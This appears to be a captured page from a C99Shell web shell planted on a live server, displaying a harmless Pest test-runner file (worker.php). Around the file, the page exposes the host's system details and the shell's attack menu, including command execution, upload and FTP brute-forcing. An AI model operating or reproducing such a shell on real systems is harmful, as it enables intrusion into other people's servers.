!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/bin/   drwxr-xr-x
Free 28.98 GB of 117.98 GB (24.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     worker.php (3.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

use 
ParaTest\WrapperRunner\ApplicationForWrapperWorker;
use 
ParaTest\WrapperRunner\WrapperWorker;
use 
Pest\Kernel;
use 
Pest\Plugins\Actions\CallsHandleArguments;
use 
Pest\TestSuite;
use 
Symfony\Component\Console\Input\ArgvInput;
use 
Symfony\Component\Console\Output\ConsoleOutput;
use 
Symfony\Component\Console\Output\OutputInterface;

$bootPest = (static function (): void {
    
$workerArgv = new ArgvInput;

    
$rootPath dirname(PHPUNIT_COMPOSER_INSTALL2);
    
$testSuite TestSuite::getInstance($rootPath$workerArgv->getParameterOption(
        
'--test-directory',
        
'tests'
    
));

    
$input = new ArgvInput;

    
$output = new ConsoleOutput(OutputInterface::VERBOSITY_NORMALtrue);

    
Kernel::boot($testSuite$input$output);
});

(static function () use (
$bootPest): void {
    
$getopt getopt('', [
        
'status-file:',
        
'progress-file:',
        
'unexpected-output-file:',
        
'testresult-file:',
        
'teamcity-file:',
        
'testdox-file:',
        
'testdox-color',
        
'phpunit-argv:',
    ]);

    
$composerAutoloadFiles = [
        
dirname(__DIR__3).DIRECTORY_SEPARATOR.'autoload.php',
        
dirname(__DIR__2).DIRECTORY_SEPARATOR.'vendor'.DIRECTORY_SEPARATOR.'autoload.php',
        
dirname(__DIR__).DIRECTORY_SEPARATOR.'vendor'.DIRECTORY_SEPARATOR.'autoload.php',
    ];

    foreach (
$composerAutoloadFiles as $file) {

        if (
file_exists($file)) {
            require_once 
$file;
            
define('PHPUNIT_COMPOSER_INSTALL'$file);

            break;
        }
    }

    
assert(isset($getopt['status-file']) && is_string($getopt['status-file']));
    
$statusFile fopen($getopt['status-file'], 'wb');
    
assert(is_resource($statusFile));

    
assert(isset($getopt['progress-file']) && is_string($getopt['progress-file']));
    
assert(isset($getopt['unexpected-output-file']) && is_string($getopt['unexpected-output-file']));
    
assert(isset($getopt['testresult-file']) && is_string($getopt['testresult-file']));
    
assert(! isset($getopt['teamcity-file']) || is_string($getopt['teamcity-file']));
    
assert(! isset($getopt['testdox-file']) || is_string($getopt['testdox-file']));

    
assert(isset($getopt['phpunit-argv']) && is_string($getopt['phpunit-argv']));
    
$phpunitArgv unserialize($getopt['phpunit-argv'], ['allowed_classes' => false]);
    
assert(is_array($phpunitArgv));

    
$bootPest();

    
$phpunitArgv CallsHandleArguments::execute($phpunitArgv);

    
$application = new ApplicationForWrapperWorker(
        
$phpunitArgv,
        
$getopt['progress-file'],
        
$getopt['unexpected-output-file'],
        
$getopt['testresult-file'],
        
$getopt['teamcity-file'] ?? null,
        
$getopt['testdox-file'] ?? null,
        isset(
$getopt['testdox-color']),
        
$getopt['testdox-columns'] ?? null,
    );

    while (
true) {
        if (
feof(STDIN)) {
            
$application->end();
            exit;
        }

        
$testPath fgets(STDIN);
        if (
$testPath === false || $testPath === WrapperWorker::COMMAND_EXIT) {
            
$application->end();
            exit;
        }

        
// It must be a 1 byte string to ensure filesize() is equal to the number of tests executed
        
$exitCode $application->runTest(realpath(trim($testPath)));

        
fwrite($statusFile, (string) $exitCode);
        
fflush($statusFile);
    }
})();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--